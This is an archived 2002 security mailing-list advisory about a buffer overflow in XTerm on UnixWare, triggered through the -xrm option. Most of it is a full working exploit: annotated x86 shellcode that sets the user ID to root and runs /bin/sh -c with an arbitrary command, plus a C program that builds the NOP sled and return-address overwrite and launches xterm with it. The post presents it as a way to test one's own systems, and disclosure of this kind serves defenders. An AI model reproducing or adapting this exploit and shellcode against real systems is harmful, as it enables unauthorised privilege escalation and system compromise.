

[EXPL] XTerm UnixWare Exploit Code Released (-xrm)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0046.html>

From: support@securiteam.com

Date: 01/11/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 11 Jan 2002 16:13:34 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

XTerm UnixWare Exploit Code Released (-xrm)

SUMMARY

A security vulnerability in <http://dickey.his.com/xterm/xterm.html> XTerm (a Terminal emulator for the X Window System) allows local attackers to cause the product to execute arbitrary commands by overflowing one of its internal buffers. The following is an exploit code that can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
/*
```

```
* xterm buffer overflow by jGgM
```

```
* http://www.netemperor.com/en/
```

```
* EMail: jggm@mail.com
```

```
*
```

```
*/
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
char shell[] =
```

```
/* 0 */ "\xeb\x5f" /* jmp springboard */
```

Securiteam: [EXPL] XTerm UnixWare Exploit Code Released (-xrm)

```
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */
/* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */
/* seteuid: */
/* 19 */ "\x31\xc0" /* xor %eax,%eax */
/* 21 */ "\x50" /* pushl %eax */
/* 22 */ "\xb0\x8d" /* movb $0x8d,%al */
/* 24 */ "\xe8\xe5\xff\xff" /* call syscall */
/* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* setuid: */
/* 32 */ "\x31\xc0" /* xor %eax,%eax */
/* 34 */ "\x50" /* pushl %eax */
/* 35 */ "\xb0\x17" /* movb $0x17,%al */
/* 37 */ "\xe8\xd8\xff\xff" /* call syscall */
/* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 45 */ "\x31\xc0" /* xor %eax,%eax */
/* 47 */ "\x50" /* pushl %eax */
/* 48 */ "\x56" /* pushl %esi */
/* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */
/* 51 */ "\xf7\xdb" /* negl %ebx */
/* 53 */ "\x89\xf7" /* movl %esi,%edi */
/* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */
/* 58 */ "\x57" /* pushl %edi */
/* 59 */ "\x89\x3e" /* movl %edi,(%esi) */
/* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */
/* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
/* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */
/* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
/* 79 */ "\x01\xdf" /* addl %ebx,%edi */
/* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* 87 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 89 */ "\xe8\xa4\xff\xff" /* call syscall */
/* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 97 */ "\xe8\xa4\xff\xff" /* call start */
/* data: */
/* 102 */ "\xff\xff\xff\xff" /* DATA */
/* 106 */ "\xff\xff\xff\xff" /* DATA */
/* 110 */ "\xff\xff\xff\xff" /* DATA */
/* 114 */ "\xff\xff\xff\xff" /* DATA */
/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 126 */ "\x2d\x63\xff"; /* DATA */
```

```

#define NOP 0x90
#define LEN 102

#define BUFFER_SIZE 1052
#define RET_LENGTH 12

int
main(int argc, char *argv[])
{
    char start_addr[4];
    char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
    char *command;
    long offset, ret, start_address;
    int len, x, y, shell_start;

    if(argc > 3 || argc < 2) {
        fprintf(stderr, "Usage: %s [command] [offset]\n", argv[0]);
        exit(1);
    } // end of if..

    command = argv[1];
    if(argc == 3) offset = atol(argv[2]);
    else offset = 0;

    len = strlen(command);
    len++;
    len = -len;
    shell[LEN+0] = (len >> 0) & 0xff;
    shell[LEN+1] = (len >> 8) & 0xff;
    shell[LEN+2] = (len >> 16) & 0xff;
    shell[LEN+3] = (len >> 24) & 0xff;

    start_address = (long)&start_addr;
    //ret = start_address - offset;
    //ret = start_address - 1080 - offset;
    ret = 0x8047910 - offset; // this is very very stupid

    for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

    x = BUFFER_SIZE - strlen(command) - strlen(shell);

    for(y=0; y<strlen(shell); y++)
        buffer[x++] = shell[y];

    for(y=0; y<strlen(command); y++)
        buffer[x++] = command[y];

    for(y=0; y<RET_LENGTH; y++, x += 4)
        *((int *)&buffer[x]) = ret;

    buffer[x] = 0x00;

```

Securiteam: [EXPL] XTerm UnixWare Exploit Code Released (-xrm)

```
printf("start_address = 0x%x\n", start_address);
printf("ret = 0x%x,\n", ret);
printf("offset = %d\n", offset);
printf("command = %s\n", command);
printf("buffer size = %d\n", strlen(buffer));
execl("/usr/X/bin/xterm", "xterm", "-xrm", buffer, NULL);
printf("exec failed\n");
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jggm@mail.com>> jG gM.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] XChat IRC Session Hijacking Vulnerability"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)